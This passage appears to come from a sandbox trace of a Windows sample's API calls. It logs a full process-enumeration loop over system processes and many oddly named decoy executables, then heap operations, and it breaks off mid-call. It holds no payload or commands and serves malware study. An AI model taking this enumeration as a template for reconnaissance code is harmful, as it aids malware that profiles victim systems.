szExeFile="svchost.exe")) returned 1 [0074.459] lstrlenW (lpString="svchost.exe") returned 11 [0074.459] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.460] lstrlenW (lpString="svchost.exe") returned 11 [0074.460] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.460] lstrlenW (lpString="svchost.exe") returned 11 [0074.460] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.462] lstrlenW (lpString="svchost.exe") returned 11 [0074.462] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.463] lstrlenW (lpString="svchost.exe") returned 11 [0074.463] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.464] lstrlenW (lpString="svchost.exe") returned 11 [0074.464] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.464] lstrlenW (lpString="svchost.exe") returned 11 [0074.464] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.465] lstrlenW (lpString="svchost.exe") returned 11 [0074.465] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.466] lstrlenW (lpString="svchost.exe") returned 11 [0074.466] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0074.466] lstrlenW (lpString="spoolsv.exe") returned 11 [0074.466] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.467] lstrlenW (lpString="svchost.exe") returned 11 [0074.467] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.468] lstrlenW (lpString="svchost.exe") returned 11 [0074.468] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0074.468] lstrlenW (lpString="audiodg.exe") returned 11 [0074.468] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0074.469] lstrlenW (lpString="sihost.exe") returned 10 [0074.469] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.470] lstrlenW (lpString="svchost.exe") returned 11 [0074.470] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0074.470] lstrlenW (lpString="taskhostw.exe") returned 13 [0074.471] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0074.471] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0074.471] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0074.472] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0074.472] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0074.473] lstrlenW (lpString="explorer.exe") returned 12 [0074.473] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0074.473] lstrlenW (lpString="Memory Compression") returned 18 [0074.473] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0074.474] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0074.474] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0074.475] lstrlenW (lpString="SearchUI.exe") returned 12 [0074.475] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0074.475] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0074.475] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.476] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.476] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0074.477] lstrlenW (lpString="taskhostw.exe") returned 13 [0074.477] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0074.478] lstrlenW (lpString="UsoClient.exe") returned 13 [0074.478] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0074.478] lstrlenW (lpString="taskhostw.exe") returned 13 [0074.478] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0074.479] lstrlenW (lpString="msoia.exe") returned 9 [0074.479] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0074.480] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0074.480] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0074.481] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0074.481] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0074.481] lstrlenW (lpString="msoia.exe") returned 9 [0074.481] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0074.482] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0074.482] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0074.483] lstrlenW (lpString="entering.exe") returned 12 [0074.483] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0074.483] lstrlenW (lpString="measurement nut d.exe") returned 21 [0074.484] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0074.484] lstrlenW (lpString="ai element.exe") returned 14 [0074.484] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0074.485] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0074.485] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0074.486] lstrlenW (lpString="clicking.exe") returned 12 [0074.486] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0074.486] lstrlenW (lpString="pack.exe") returned 8 [0074.486] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0074.487] lstrlenW (lpString="try-gtk.exe") returned 11 [0074.487] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0074.488] lstrlenW (lpString="counseling tmp.exe") returned 18 [0074.488] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0074.488] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0074.488] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0074.489] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0074.489] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0074.490] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0074.490] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 [0074.490] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0074.490] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0074.491] lstrlenW (lpString="jerry pure.exe") returned 14 [0074.491] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0074.492] lstrlenW (lpString="powerseller.exe") returned 15 [0074.492] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0074.510] lstrlenW (lpString="non firewall.exe") returned 16 [0074.510] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0074.511] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0074.511] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0074.511] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0074.511] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0074.512] lstrlenW (lpString="dllhost.exe") returned 11 [0074.512] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0074.513] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0074.513] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0074.514] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0074.514] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0074.515] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0074.515] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0074.516] lstrlenW (lpString="bd guidance.exe") returned 15 [0074.516] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.517] lstrlenW (lpString="conhost.exe") returned 11 [0074.517] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.517] lstrlenW (lpString="conhost.exe") returned 11 [0074.517] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0074.518] lstrlenW (lpString="lang hl gis.exe") returned 15 [0074.518] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0074.519] lstrlenW (lpString="dllhost.exe") returned 11 [0074.519] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.520] lstrlenW (lpString="svchost.exe") returned 11 [0074.520] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0074.521] lstrlenW (lpString="dllhost.exe") returned 11 [0074.521] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0074.521] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0074.521] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0074.522] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0074.522] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.523] lstrlenW (lpString="conhost.exe") returned 11 [0074.523] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.524] lstrlenW (lpString="svchost.exe") returned 11 [0074.524] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0074.525] CloseHandle (hObject=0x240) returned 1 [0074.525] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45aaa8 | out: hHeap=0x440000) returned 1 [0074.525] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45af70 | out: hHeap=0x440000) returned 1 [0074.525] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x456640 | out: hHeap=0x440000) returned 1 [0074.525] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4564c0 | out: hHeap=0x440000) returned 1 [0074.525] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4553a8 | out: hHeap=0x440000) returned 1 [0074.525] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4845a0 | out: hHeap=0x440000) returned 1 [0074.525] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4565e0 | out: hHeap=0x440000) returned 1 [0074.525] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x456660 | out: hHeap=0x440000) returned 1 [0074.525] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f528 | out: hHeap=0x440000) returned 1 [0074.525] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f7d0 | out: hHeap=0x440000) returned 1 [0074.525] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4565a0 | out: hHeap=0x440000) returned 1 [0074.525] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f618 | out: hHeap=0x440000) returned 1 [0074.525] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x486380 [0074.526] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x496388 [0074.526] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484510 [0074.527] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484510, Size=0x20) returned 0x47f730 [0074.527] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f730, Size=0x40) returned 0x45abc8 [0074.527] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484510 [0074.527] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484510, Size=0x20) returned 0x47f668 [0074.527] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4845a0 [0074.527] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4845a0, Size=0x20) returned 0x47f5f0 [0074.527] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484528 [0074.527] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484528, Size=0x20) returned 0x47f7d0 [0074.527] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f7d0, Size=0x40) returned 0x45ac10 [0074.527] GetModuleFileNameW (in: 